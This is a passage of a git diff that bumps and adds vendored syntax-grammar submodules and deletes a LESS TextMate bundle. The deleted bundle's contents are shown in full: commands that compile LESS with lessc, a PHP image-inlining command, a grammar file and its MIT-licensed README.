diff --git a/vendor/grammars/language-typelanguage b/vendor/grammars/language-typelanguage
new file mode 160000
index 0000000000..815fb80bb3
--- /dev/null
+++ b/vendor/grammars/language-typelanguage
@@ -0,0 +1 @@
+Subproject commit 815fb80bb308b25ac7f73122e671749146cae45d
diff --git a/vendor/grammars/language-viml b/vendor/grammars/language-viml
new file mode 160000
index 0000000000..979e1c6223
--- /dev/null
+++ b/vendor/grammars/language-viml
@@ -0,0 +1 @@
+Subproject commit 979e1c62230bbf29fd6963e3620028ccba6848ad
diff --git a/vendor/grammars/language-wavefront b/vendor/grammars/language-wavefront
index 4bebab3f9a..7df4ab9255 160000
--- a/vendor/grammars/language-wavefront
+++ b/vendor/grammars/language-wavefront
@@ -1 +1 @@
-Subproject commit 4bebab3f9a7aa922f54148973685b729f1fc800f
+Subproject commit 7df4ab92557f0bd03d6671156b5ef1374f98626e
diff --git a/vendor/grammars/language-webassembly b/vendor/grammars/language-webassembly
new file mode 160000
index 0000000000..fd1dfbdd83
--- /dev/null
+++ b/vendor/grammars/language-webassembly
@@ -0,0 +1 @@
+Subproject commit fd1dfbdd83c09429ac8fc6a691515ed2b72c109a
diff --git a/vendor/grammars/language-xbase b/vendor/grammars/language-xbase
index ae860b3b02..deada68e57 160000
--- a/vendor/grammars/language-xbase
+++ b/vendor/grammars/language-xbase
@@ -1 +1 @@
-Subproject commit ae860b3b02d08bd65827c0a5f0029e65e4df30b4
+Subproject commit deada68e573bfd623e79b3e3c96b920bdf9f1b6d
diff --git a/vendor/grammars/language-xcompose b/vendor/grammars/language-xcompose
new file mode 160000
index 0000000000..220ec42caa
--- /dev/null
+++ b/vendor/grammars/language-xcompose
@@ -0,0 +1 @@
+Subproject commit 220ec42caae041405c828463185be1de6b41c53f
diff --git a/vendor/grammars/language-yaml b/vendor/grammars/language-yaml
index 9f55beb635..b0f7f6598a 160000
--- a/vendor/grammars/language-yaml
+++ b/vendor/grammars/language-yaml
@@ -1 +1 @@
-Subproject commit 9f55beb63517483971d256d521e30a7fb0b2bcc0
+Subproject commit b0f7f6598a5be8e07f05e124dabd7869749eccc4
diff --git a/vendor/grammars/latex.tmbundle b/vendor/grammars/latex.tmbundle
index a5c14e1ce9..90d3383ff8 160000
--- a/vendor/grammars/latex.tmbundle
+++ b/vendor/grammars/latex.tmbundle
@@ -1 +1 @@
-Subproject commit a5c14e1ce9f29ceac4efd6578e03a12fe99e8cf8
+Subproject commit 90d3383ff86b7f4495e33c7c5240dde7308376ee
diff --git a/vendor/grammars/less.tmbundle/Commands/Save to CSS.tmCommand b/vendor/grammars/less.tmbundle/Commands/Save to CSS.tmCommand
deleted file mode 100644
index 9f8e75613d..0000000000
--- a/vendor/grammars/less.tmbundle/Commands/Save to CSS.tmCommand	
+++ /dev/null
@@ -1,47 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
-<plist version="1.0">
-<dict>
-	<key>beforeRunningCommand</key>
-	<string>saveActiveFile</string>
-	<key>command</key>
-	<string>#!/usr/bin/env ruby18
-
-file = ENV["TM_FILEPATH"]
-target = file.sub(/\.less$/, ".css")
-system("lessc \"#{file}\" \"#{target}\"")
-puts "Compiled CSS to '#{target}'"</string>
-	<key>input</key>
-	<string>document</string>
-	<key>inputFormat</key>
-	<string>text</string>
-	<key>keyEquivalent</key>
-	<string>@b</string>
-	<key>name</key>
-	<string>Save to CSS</string>
-	<key>outputCaret</key>
-	<string>afterOutput</string>
-	<key>outputFormat</key>
-	<string>text</string>
-	<key>outputLocation</key>
-	<string>toolTip</string>
-	<key>requiredCommands</key>
-	<array>
-		<dict>
-			<key>command</key>
-			<string>lessc</string>
-			<key>locations</key>
-			<array>
-				<string>/opt/local/bin/lessc</string>
-				<string>/usr/local/bin/lessc</string>
-			</array>
-		</dict>
-	</array>
-	<key>scope</key>
-	<string>source.css.less</string>
-	<key>uuid</key>
-	<string>78788223-5E5E-434E-98BE-17BCDF600611</string>
-	<key>version</key>
-	<integer>2</integer>
-</dict>
-</plist>
diff --git a/vendor/grammars/less.tmbundle/Commands/Save to Minified CSS.tmCommand b/vendor/grammars/less.tmbundle/Commands/Save to Minified CSS.tmCommand
deleted file mode 100644
index fc8fe21f14..0000000000
--- a/vendor/grammars/less.tmbundle/Commands/Save to Minified CSS.tmCommand	
+++ /dev/null
@@ -1,47 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
-<plist version="1.0">
-<dict>
-	<key>beforeRunningCommand</key>
-	<string>saveActiveFile</string>
-	<key>command</key>
-	<string>#!/usr/bin/env ruby18
-
-file = ENV["TM_FILEPATH"]
-target = file.sub(/\.less$/, ".css")
-system("lessc -x \"#{file}\" \"#{target}\"")
-puts "Compiled Minified CSS to '#{target}'"</string>
-	<key>input</key>
-	<string>document</string>
-	<key>inputFormat</key>
-	<string>text</string>
-	<key>keyEquivalent</key>
-	<string>~@b</string>
-	<key>name</key>
-	<string>Save to Minified CSS</string>
-	<key>outputCaret</key>
-	<string>afterOutput</string>
-	<key>outputFormat</key>
-	<string>text</string>
-	<key>outputLocation</key>
-	<string>toolTip</string>
-	<key>requiredCommands</key>
-	<array>
-		<dict>
-			<key>command</key>
-			<string>lessc</string>
-			<key>locations</key>
-			<array>
-				<string>/opt/local/bin/lessc</string>
-				<string>/usr/local/bin/lessc</string>
-			</array>
-		</dict>
-	</array>
-	<key>scope</key>
-	<string>source.css.less</string>
-	<key>uuid</key>
-	<string>448D3A8D-260E-4949-BA33-654886ECDCAF</string>
-	<key>version</key>
-	<integer>2</integer>
-</dict>
-</plist>
diff --git a/vendor/grammars/less.tmbundle/DragCommands/Insert inline Image.tmDragCommand b/vendor/grammars/less.tmbundle/DragCommands/Insert inline Image.tmDragCommand
deleted file mode 100644
index 21ce88f489..0000000000
--- a/vendor/grammars/less.tmbundle/DragCommands/Insert inline Image.tmDragCommand	
+++ /dev/null
@@ -1,38 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
-<plist version="1.0">
-<dict>
-	<key>beforeRunningCommand</key>
-	<string>nop</string>
-	<key>command</key>
-	<string>#!/usr/bin/env php
-&lt;?php
-$path = getenv('TM_DROPPED_FILE');
-$path_parts = pathinfo($path);
-$info = getimagesize($path);
-list($width, $height) = $info;
-$mime = $info['mime'];
-$contents = base64_encode(file_get_contents($path));
-
-echo "@gfx-{$path_parts['filename']}: \"data:{$mime};base64,{$contents}\";\n";
-echo "@gfx-{$path_parts['filename']}-width: {$width}px;\n";
-echo "@gfx-{$path_parts['filename']}-height: {$height}px;";</string>
-	<key>draggedFileExtensions</key>
-	<array>
-		<string>png</string>
-		<string>jpeg</string>
-		<string>jpg</string>
-		<string>gif</string>
-	</array>
-	<key>input</key>
-	<string>selection</string>
-	<key>name</key>
-	<string>Insert inline Image</string>
-	<key>output</key>
-	<string>insertAsSnippet</string>
-	<key>scope</key>
-	<string>source.css.less</string>
-	<key>uuid</key>
-	<string>7B0CA307-CC1C-4EE2-9F63-4825800ACDA7</string>
-</dict>
-</plist>
diff --git a/vendor/grammars/less.tmbundle/Preferences/Comment.tmPreferences b/vendor/grammars/less.tmbundle/Preferences/Comment.tmPreferences
deleted file mode 100644
index 1d8bf1fec9..0000000000
--- a/vendor/grammars/less.tmbundle/Preferences/Comment.tmPreferences
+++ /dev/null
@@ -1,36 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
-<plist version="1.0">
-<dict>
-	<key>name</key>
-	<string>Comments</string>
-	<key>scope</key>
-	<string>source.css.less</string>
-	<key>settings</key>
-	<dict>
-		<key>shellVariables</key>
-		<array>
-			<dict>
-				<key>name</key>
-				<string>TM_COMMENT_START</string>
-				<key>value</key>
-				<string>// </string>
-			</dict>
-			<dict>
-				<key>name</key>
-				<string>TM_COMMENT_START_2</string>
-				<key>value</key>
-				<string>/* </string>
-			</dict>
-			<dict>
-				<key>name</key>
-				<string>TM_COMMENT_END_2</string>
-				<key>value</key>
-				<string> */</string>
-			</dict>
-		</array>
-	</dict>
-	<key>uuid</key>
-	<string>D0CC551B-751D-4A7C-A738-2513E3C7F285</string>
-</dict>
-</plist>
diff --git a/vendor/grammars/less.tmbundle/README.md b/vendor/grammars/less.tmbundle/README.md
deleted file mode 100644
index ed6ac672e5..0000000000
--- a/vendor/grammars/less.tmbundle/README.md
+++ /dev/null
@@ -1,25 +0,0 @@
-# Installation
-
-You can install this bundle in TextMate by opening the preferences and going to the bundles tab. After installation it will be automatically updated for you.
-
-# License (MIT)
-
-Copyright (c) 2010 Scott Kyle and Rasmus Andersson
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in
-all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
-THE SOFTWARE.
diff --git a/vendor/grammars/less.tmbundle/Syntaxes/LESS.tmLanguage b/vendor/grammars/less.tmbundle/Syntaxes/LESS.tmLanguage
deleted file mode 100644
index ac6ff8ba5c..0000000000
--- a/vendor/grammars/less.tmbundle/Syntaxes/LESS.tmLanguage
+++ /dev/null
@@ -1,434 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
-<plist version="1.0">
-<dict>
-	<key>comment</key>
-	<string>LeSS</string>
-	<key>fileTypes</key>
-	<array>
-		<string>less</string>
-	</array>
-	<key>foldingStartMarker</key>
-	<string>/\*\*(?!\*)|\{\s*($|/\*(?!.*?\*/.*\S))</string>
-	<key>foldingStopMarker</key>
-	<string>(?&lt;!\*)\*\*/|^\s*\}</string>
-	<key>keyEquivalent</key>
-	<string>^~L</string>
-	<key>name</key>
-	<string>LESS</string>
-	<key>patterns</key>
-	<array>
-		<dict>
-			<key>match</key>
-			<string>\b(a|abbr|acronym|address|applet|article|area|audio|video|b|base|big|blockquote|body|br|button|caption|canvas|center|cite|code|col|colgroup|dd|del|details|dfn|div|dl|dt|em|embed|fieldset|figure|figcaption|form|frame|frameset|(h[1-6])|head|hr|html|i|iframe|img|input|ins|kbd|label|legend|li|link|map|mark|meta|menu|nav|noframes|noscript|object|ol|optgroup|option|output|p|param|pre|q|ruby|s|samp|script|select|small|span|strike|strong|style|sub|sup|summary|svg|table|tbody|td|textarea|tfoot|th|thead|title|tr|tt|u|ul|var|header|section|footer|aside|hgroup|time)\b</string>
-			<key>name</key>
-			<string>keyword.control.html.elements</string>
-		</dict>
-		<dict>
-			<key>begin</key>
-			<string>"</string>
-			<key>beginCaptures</key>
-			<dict>
-				<key>0</key>
-				<dict>
-					<key>name</key>
-					<string>punctuation.definition.string.begin.css</string>
-				</dict>
-			</dict>
-			<key>end</key>
-			<string>"</string>
-			<key>endCaptures</key>
-			<dict>
-				<key>0</key>
-				<dict>
-					<key>name</key>
-					<string>punctuation.definition.string.end.css</string>
-				</dict>
-			</dict>
-			<key>name</key>
-			<string>string.quoted.double.css</string>
-			<key>patterns</key>
-			<array>
-				<dict>
-					<key>match</key>
-					<string>\\.</string>
-					<key>name</key>
-					<string>constant.character.escaped.css</string>
-				</dict>
-			</array>
-		</dict>
-		<dict>
-			<key>begin</key>
-			<string>'</string>
-			<key>beginCaptures</key>
-			<dict>
-				<key>0</key>
-				<dict>
-					<key>name</key>
-					<string>punctuation.definition.string.begin.css</string>
-				</dict>
-			</dict>
-			<key>end</key>
-			<string>'</string>
-			<key>endCaptures</key>
-			<dict>
-				<key>0</key>
-				<dict>
-					<key>name</key>
-					<string>punctuation.definition.string.end.css</string>
-				</dict>
-			</dict>
-			<key>name</key>
-			<string>string.quoted.single.css</string>
-			<key>patterns</key>
-			<array>
-				<dict>
-					<key>match</key>
-					<string>\\.</string>
-					<key>name</key>
-					<string>constant.character.escaped.css</string>
-				</dict>
-			</array>
-		</dict>
-		<dict>
-			<key>captures</key>
-			<dict>
-				<key>1</key>
-				<dict>
-					<key>name</key>
-					<string>entity.other.attribute-name.class.css</string>
-				</dict>
-			</dict>
-			<key>match</key>
-			<string>(\.[a-zA-Z0-9_-]+)</string>
-		</dict>
-		<dict>
-			<key>begin</key>
-			<string>url\(</string>
-			<key>contentName</key>
-			<string>variable.parameter.url</string>
-			<key>end</key>
-			<string>\)</string>
-			<key>name</key>
-			<string>support.function.any-method.builtin.css</string>
-		</dict>
-		<dict>
-			<key>match</key>
-			<string>(#)([0-9a-fA-F]{3}|[0-9a-fA-F]{6})\b</string>
-			<key>name</key>
-			<string>constant.other.rgb-value.css</string>
-		</dict>
-		<dict>
-			<key>captures</key>
-			<dict>
-				<key>0</key>
-				<dict>
-					<key>name</key>
-					<string>entity.other.attribute-name.id</string>
-				</dict>
-			</dict>
-			<key>match</key>
-			<string>#[a-zA-Z0-9_:\(\)-]+</string>
-			<key>name</key>
-			<string>meta.selector.css</string>
-		</dict>
-		<dict>
-			<key>begin</key>
-			<string>/\*</string>
-			<key>beginCaptures</key>
-			<dict>
-				<key>0</key>
-				<dict>
-					<key>name</key>
-					<string>punctuation.definition.comment.begin.css</string>
-				</dict>
-			</dict>
-			<key>end</key>
-			<string>\*/</string>
-			<key>endCaptures</key>
-			<dict>
-				<key>0</key>
-				<dict>
-					<key>name</key>
-					<string>punctuation.definition.comment.end.css</string>
-				</dict>
-			</dict>
-			<key>name</key>
-			<string>comment.block.css</string>
-		</dict>
-		<dict>
-			<key>match</key>
-			<string>(-|\+)?\s*[0-9]+(\.[0-9]+)?</string>
-			<key>name</key>
-			<string>constant.numeric.css</string>
-		</dict>
-		<dict>
-			<key>match</key>
-			<string>(?&lt;=[\d])(px|pt|cm|mm|in|em|ex|pc)\b|%</string>
-			<key>name</key>
-			<string>keyword.other.unit.css</string>
-		</dict>
-		<dict>
-			<key>captures</key>
-			<dict>
-				<key>1</key>
-				<dict>
-					<key>name</key>
-					<string>entity.other.attribute-name.pseudo-element.css</string>
-				</dict>
-			</dict>
-			<key>match</key>
-			<string>(:+(after|before|not|last-child|nth-of-type|nth-child|first-child|first-letter|first-line|selection|root))</string>
-		</dict>
-		<dict>
-			<key>captures</key>
-			<dict>
-				<key>1</key>
-				<dict>
-					<key>name</key>
-					<string>entity.other.attribute-name.pseudo-class.css</string>
-				</dict>
-			</dict>
-			<key>match</key>
-			<string>(:+(active|hover|link|visited|focus))</string>
-		</dict>
-		<dict>
-			<key>captures</key>
-			<dict>
-				<key>1</key>
-				<dict>
-					<key>name</key>
-					<string>punctuation.definition.entity.css</string>
-				</dict>
-				<key>2</key>
-				<dict>
-					<key>name</key>
-					<string>entity.other.attribute-name.attribute.css</string>
-				</dict>
-				<key>3</key>
-				<dict>
-					<key>name</key>
-					<string>punctuation.separator.operator.css</string>
-				</dict>
-				<key>4</key>
-				<dict>
-					<key>name</key>
-					<string>string.unquoted.attribute-value.css</string>
-				</dict>
-				<key>5</key>
-				<dict>
-					<key>name</key>
-					<string>string.quoted.double.attribute-value.css</string>
-				</dict>
-				<key>6</key>
-				<dict>
-					<key>name</key>
-					<string>punctuation.definition.string.begin.css</string>
-				</dict>
-				<key>7</key>
-				<dict>
-					<key>name</key>
-					<string>punctuation.definition.string.end.css</string>
-				</dict>
-			</dict>
-			<key>match</key>
-			<string>(?i)(\[)\s*(-?[_a-z\\[[:^ascii:]]][_a-z0-9\-\\[[:^ascii:]]]*)(?:\s*([~|^$*]?=)\s*(?:(-?[_a-z\\[[:^ascii:]]][_a-z0-9\-\\[[:^ascii:]]]*)|((?&gt;(['"])(?:[^\\]|\\.)*?(\6)))))?\s*(\])</string>
-			<key>name</key>
-			<string>meta.attribute-selector.css</string>
-		</dict>
-		<dict>
-			<key>captures</key>
-			<dict>
-				<key>1</key>
-				<dict>
-					<key>name</key>
-					<string>keyword.control.at-rule.import.css</string>
-				</dict>
-				<key>2</key>
-				<dict>
-					<key>name</key>
-					<string>punctuation.definition.keyword.css</string>
-				</dict>
-			</dict>
-			<key>match</key>
-			<string>^\s*((@)import\b)</string>
-			<key>name</key>
-			<string>meta.at-rule.import.css</string>
-		</dict>
-		<dict>
-			<key>captures</key>
-			<dict>
-				<key>1</key>
-				<dict>
-					<key>name</key>
-					<string>support.type.property-name.css.vendor</string>
-				</dict>
-			</dict>
-			<key>match</key>
-			<string>(-(?:webkit|moz|khtml|o|icab|ms)-(?:background-size|border-radius|box-shadow|opacity|border-image))\s*:</string>
-		</dict>
-		<dict>
-			<key>captures</key>
-			<dict>
-				<key>1</key>
-				<dict>
-					<key>name</key>
-					<string>support.type.property-name.css</string>
-				</dict>
-			</dict>
-			<key>match</key>
-			<string>\b(azimuth|background-attachment|background-color|background-clip|background-image|background-position|background-repeat|background-size|background|behavior|border-bottom-color|border-bottom-style|border-bottom-width|border-bottom|border-collapse|border-color|border-left-color|border-left-style|border-left-width|border-left|border-right-color|border-right-style|border-right-width|border-right|border-spacing|border-style|border-top-color|border-top-style|border-top-width|border-top|border-width|border-radius|border|box-shadow|bottom|caption-side|clear|clip|color|content|counter-increment|counter-reset|cue-after|cue-before|cue|cursor|direction|display|elevation|empty-cells|filter|float|font-family|font-size-adjust|font-size|font-stretch|font-style|font-variant|font-weight|font|height|left|letter-spacing|line-height|list-style-image|list-style-position|list-style-type|list-style|margin-bottom|margin-left|margin-right|margin-top|marker-offset|margin|marks|max-height|max-width|min-height|min-width|opacity|orphans|outline-color|outline-style|outline-width|outline|overflow(-[xy])?|padding-bottom|padding-left|padding-right|padding-top|padding|page-break-after|page-break-before|page-break-inside|page|pause-after|pause-before|pause|pitch-range|pitch|play-during|position|pre-wrap|quotes|richness|right|size|speak-header|speak-numeral|speak-punctuation|speech-rate|speak|stress|table-layout|text-align|text-decoration|text-indent|text-shadow|text-transform|top|unicode-bidi|vertical-align|visibility|voice-family|volume|white-space|widows|width|word-spacing|word-wrap|z-index|zoom)</string>
-		</dict>
-		<dict>
-			<key>match</key>
-			<string>\b(absolute|all-scroll|always|auto|baseline|below|bidi-override|block|bold|bolder|both|bottom|break-all|break-word|capitalize|center|char|circle|col-resize|collapse|crosshair|dashed|decimal|default|disabled|disc|distribute-all-lines|distribute-letter|distribute-space|distribute|dotted|double|e-resize|ellipsis|fixed|groove|hand|help|hidden|horizontal|ideograph-alpha|ideograph-numeric|ideograph-parenthesis|ideograph-space|inactive|inherit|inline-block|inline|inset|inside|inter-ideograph|inter-word|italic|justify|keep-all|left|lighter|line-edge|line-through|line|linear|list-item|loose|lower-alpha|lower-roman|lowercase|lr-tb|ltr|medium|middle|move|n-resize|ne-resize|newspaper|no-drop|no-repeat|nw-resize|none|normal|not-allowed|nowrap|oblique|outset|outside|overline|pointer|progress|relative|repeat-x|repeat-y|repeat|right|ridge|row-resize|rtl|s-resize|scroll|se-resize|separate|small-caps|solid|square|static|strict|super|sw-resize|table-footer-group|table-header-group|tb-rl|text-bottom|text-top|text|thick|thin|top|transparent|underline|upper-alpha|upper-roman|uppercase|vertical-ideographic|vertical-text|visible|w-resize|wait|whitespace|padding-box)\b</string>
-			<key>name</key>
-			<string>support.constant.property-value.css</string>
-		</dict>
-		<dict>
-			<key>match</key>
-			<string>(\b(?i:arial|century|comic|courier|garamond|georgia|helvetica|impact|lucida|symbol|system|tahoma|times|trebuchet|utopia|verdana|webdings|sans-serif|serif|monospace)\b)</string>
-			<key>name</key>
-			<string>support.constant.font-name.css</string>
-		</dict>
-		<dict>
-			<key>comment</key>
-			<string>http://www.w3.org/TR/CSS21/syndata.html#value-def-color</string>
-			<key>match</key>
-			<string>\b(aqua|black|blue|fuchsia|gray|green|lime|maroon|navy|olive|orange|purple|red|silver|teal|white|yellow)\b</string>
-			<key>name</key>
-			<string>support.constant.color.w3c-standard-color-name.css</string>
-		</dict>
-		<dict>
-			<key>match</key>
-			<string>\b(saturate|desaturate|lighten|darken|grayscale)\b</string>
-			<key>name</key>
-			<string>support.function.any-method.builtin.less</string>
-		</dict>
-		<dict>
-			<key>match</key>
-			<string>\b(rgb|rgba|hsl|hsla|url)\b</string>
-			<key>name</key>
-			<string>support.function.any-method.builtin.css</string>
-		</dict>
-		<dict>
-			<key>captures</key>
-			<dict>
-				<key>1</key>
-				<dict>
-					<key>name</key>
-					<string>support.function.any-method.vendor.css</string>
-				</dict>
-			</dict>
-			<key>match</key>
-			<string>(-(?:webkit|moz|khtml|o|icab)-(?:gradient|linear-gradient))</string>
-		</dict>
-		<dict>
-			<key>match</key>
-			<string>\b(color-stop|from|to)\b</string>
-			<key>name</key>
-			<string>support.function.any-method.webkit.gradient.css</string>
-		</dict>
-		<dict>
-			<key>captures</key>
-			<dict>
-				<key>1</key>
-				<dict>
-					<key>name</key>
-					<string>support.function.less</string>
-				</dict>
-			</dict>
-			<key>match</key>
-			<string>(\.[a-zA-Z0-9_-]+)\s*(;|\()</string>
-		</dict>
-		<dict>
-			<key>begin</key>
-			<string>(^[ \t]+)?(?=//)</string>
-			<key>beginCaptures</key>
-			<dict>
-				<key>1</key>
-				<dict>
-					<key>name</key>
-					<string>punctuation.whitespace.comment.leading.less</string>
-				</dict>
-			</dict>
-			<key>end</key>
-			<string>(?!\G)</string>
-			<key>patterns</key>
-			<array>
-				<dict>
-					<key>begin</key>
-					<string>//</string>
-					<key>beginCaptures</key>
-					<dict>
-						<key>0</key>
-						<dict>
-							<key>name</key>
-							<string>punctuation.definition.comment.less</string>
-						</dict>
-					</dict>
-					<key>end</key>
-					<string>\n</string>
-					<key>name</key>
-					<string>comment.line.double-slash.less</string>
-				</dict>
-			</array>
-		</dict>
-		<dict>
-			<key>match</key>
-			<string>@[a-zA-Z0-9_-][\w-]*</string>
-			<key>name</key>
-			<string>variable.other.less</string>
-		</dict>
-		<dict>
-			<key>match</key>
-			<string>\$|%|&amp;|\*|\-\-|\-|\+\+|\+|~|===|==|=|!=|!==|&lt;=|&gt;=|&lt;&lt;=|&gt;&gt;=|&gt;&gt;&gt;=|&lt;&gt;|&lt;|&gt;|!|&amp;&amp;|\|\||\?\:|\*=|(?&lt;!\()/=|%=|\+=|\-=|&amp;=|\^=|\/\b</string>
-			<key>name</key>
-			<string>keyword.operator.less</string>
-		</dict>
-		<dict>
-			<key>captures</key>
-			<dict>
-				<key>1</key>
-				<dict>
-					<key>name</key>
-					<string>punctuation.section.property-list.begin.css</string>
-				</dict>
-				<key>2</key>
-				<dict>
-					<key>name</key>
-					<string>punctuation.section.property-list.end.css</string>
-				</dict>
-			</dict>
-			<key>comment</key>
-			<string>Match empty braces to give proper ↩ action</string>
-			<key>match</key>
-			<string>(\{)(\})</string>
-			<key>name</key>
-			<string>meta.brace.curly.less</string>
-		</dict>
-		<dict>
-			<key>match</key>
-			<string>\{|\}</string>
-			<key>name</key>
-			<string>meta.brace.curly.less</string>
-		</dict>
-		<dict>
-			<key>match</key>
-			<string>\(|\)</string>
-			<key>name</key>
-			<string>meta.brace.round.less</string>
-		</dict>
-		<dict>
-			<key>match</key>
-			<string>\[|\]</string>
-			<key>name</key>
-			<string>meta.brace.square.less</string>
-		</dict>
-	</array>
-	<key>scopeName</key>
-	<string>source.css.less</string>
-	<key>uuid</key>
-	<string>9343D324-75A1-4733-A5C0-5D1D4B6182D0</string>
-</dict>
-</plist>
diff --git a/vendor/grammars/less.tmbundle/info.plist b/vendor/grammars/less.tmbundle/info.plist
deleted file mode 100644
index e555f0ba8c..0000000000
--- a/vendor/grammars/less.tmbundle/info.plist
+++ /dev/null
@@ -1,26 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
-<plist version="1.0">
-<dict>
-	<key>contactEmailRot13</key>
-	<string>zfurrgf@juvgrsnyyf.bet</string>
-	<key>contactName</key>
-	<string>Michael Sheets</string>
-	<key>description</key>
-	<string>Extends CSS with dynamic behavior such as variables, mixins, operations and functions.</string>
-	<key>mainMenu</key>
-	<dict>
-		<key>items</key>
-		<array>
-			<string>78788223-5E5E-434E-98BE-17BCDF600611</string>
-			<string>448D3A8D-260E-4949-BA33-654886ECDCAF</string>
-		</array>
-		<key>submenus</key>
-		<dict/>
-	</dict>
-	<key>name</key>
-	<string>LESS</string>
-	<key>uuid</key>
-	<string>D1D51EE5-E89F-4B14-8AE4-FC364E540B47</string>
-</dict>
-</plist>
diff --git a/vendor/grammars/lilypond.tmbundle b/vendor/grammars/lilypond.tmbundle
deleted file mode 160000
index b52e8205a8..0000000000
--- a/vendor/grammars/lilypond.tmbundle
+++ /dev/null
@@ -1 +0,0 @@
-Subproject commit b52e8205a8727576df7ae65f2726435eb731d066
diff --git a/vendor/grammars/linter-lilypond b/vendor/grammars/linter-lilypond
new file mode 160000
index 0000000000..5e6bb36c22
--- /dev/null
+++ b/vendor/grammars/linter-lilypond
@@ -0,0 +1 @@
+Subproject commit 5e6bb36c22a0e91b445a0e5fe2124c3cc9ac775c
diff --git a/vendor/grammars/liquid-tm-grammar b/vendor/grammars/liquid-tm-grammar
new file mode 160000
index 0000000000..20d3a4315b
--- /dev/null
+++ b/vendor/grammars/liquid-tm-grammar
@@ -0,0 +1 @@
+Subproject commit 20d3a4315bd4f2285358197bdf02eeca39e4c8db
diff --git a/vendor/grammars/liquid.tmbundle b/vendor/grammars/liquid.tmbundle
deleted file mode 160000
index c65939f11a..0000000000
--- a/vendor/grammars/liquid.tmbundle
+++ /dev/null
@@ -1 +0,0 @@
-Subproject commit c65939f11ad9a91b8c4660a357c36660e9a09e6c
diff --git a/vendor/grammars/lisp.tmbundle b/vendor/grammars/lisp.tmbundle
index 6d116d77b6..2c5059458c 160000
--- a/vendor/grammars/lisp.tmbundle
+++ b/vendor/grammars/lisp.tmbundle
@@ -1 +1 @@
-Subproject commit 6d116d77b6e3d6b04d863c558527008db482b48a
+Subproject commit 2c5059458c4bf8165ac2bd785a287cf292a0888d
diff --git a/vendor/grammars/llvm.tmbundle b/vendor/grammars/llvm.tmbundle
index 203c955af9..7ff7937098 160000
--- a/vendor/grammars/llvm.tmbundle
+++ b/vendor/grammars/llvm.tmbundle
@@ -1 +1 @@
-Subproject commit 203c955af9c8c48c2bb3808a9ebb547ce3cead1c
+Subproject commit 7ff793709860dfba393ee27a8537b8aeda5b36d8
diff --git a/vendor/grammars/logos b/vendor/grammars/logos
index e783d38b9c..b939d35bc8 160000
--- a/vendor/grammars/logos
+++ b/vendor/grammars/logos
@@ -1 +1 @@
-Subproject commit e783d38b9ce09c147b00fee971d125a69b9ad96a
+Subproject commit b939d35bc8d4da2ff70cb76b3321a37d573d29f7
diff --git a/vendor/grammars/logtalk.tmbundle b/vendor/grammars/logtalk.tmbundle
index 6810e9d572..571a1da1ff 160000
--- a/vendor/grammars/logtalk.tmbundle
+++ b/vendor/grammars/logtalk.tmbundle
@@ -1 +1 @@
-Subproject commit 6810e9d572c6c18264a4f45739a3e83d2ac3853b
+Subproject commit 571a1da1ff43e5e6a9f46279e65aa53bf6151013
diff --git a/vendor/grammars/lua.tmbundle b/vendor/grammars/lua.tmbundle
index 6cac1887dc..1483add845 160000
--- a/vendor/grammars/lua.tmbundle
+++ b/vendor/grammars/lua.tmbundle
@@ -1 +1 @@
-Subproject commit 6cac1887dc6955a7601af2efec32f1c5ae2e4f73
+Subproject commit 1483add845ebfb3e1e631fe372603e5fed2cdd42
diff --git a/vendor/grammars/m3 b/vendor/grammars/m3
new file mode 160000
index 0000000000..155579bc38
--- /dev/null
+++ b/vendor/grammars/m3
@@ -0,0 +1 @@
+Subproject commit 155579bc3879e9d8dddee5bc26323348bddfcd5e
diff --git a/vendor/grammars/make.tmbundle b/vendor/grammars/make.tmbundle
index 1a1827da81..3839e8113d 160000
--- a/vendor/grammars/make.tmbundle
+++ b/vendor/grammars/make.tmbundle
@@ -1 +1 @@
-Subproject commit 1a1827da81e20fdce56e2658451340c070ca44b7
+Subproject commit 3839e8113db1ec23227dcd30d5a57508a9b05d5c
diff --git a/vendor/grammars/markdown-tm-language b/vendor/grammars/markdown-tm-language
new file mode 160000
index 0000000000..3f11836d11
--- /dev/null
+++ b/vendor/grammars/markdown-tm-language
@@ -0,0 +1 @@
+Subproject commit 3f11836d11ca5ed41431ecd53dca7710c2c823ce
diff --git a/vendor/grammars/marko-tmbundle b/vendor/grammars/marko-tmbundle
new file mode 160000
index 0000000000..dd3a0c39e6
--- /dev/null
+++ b/vendor/grammars/marko-tmbundle
@@ -0,0 +1 @@
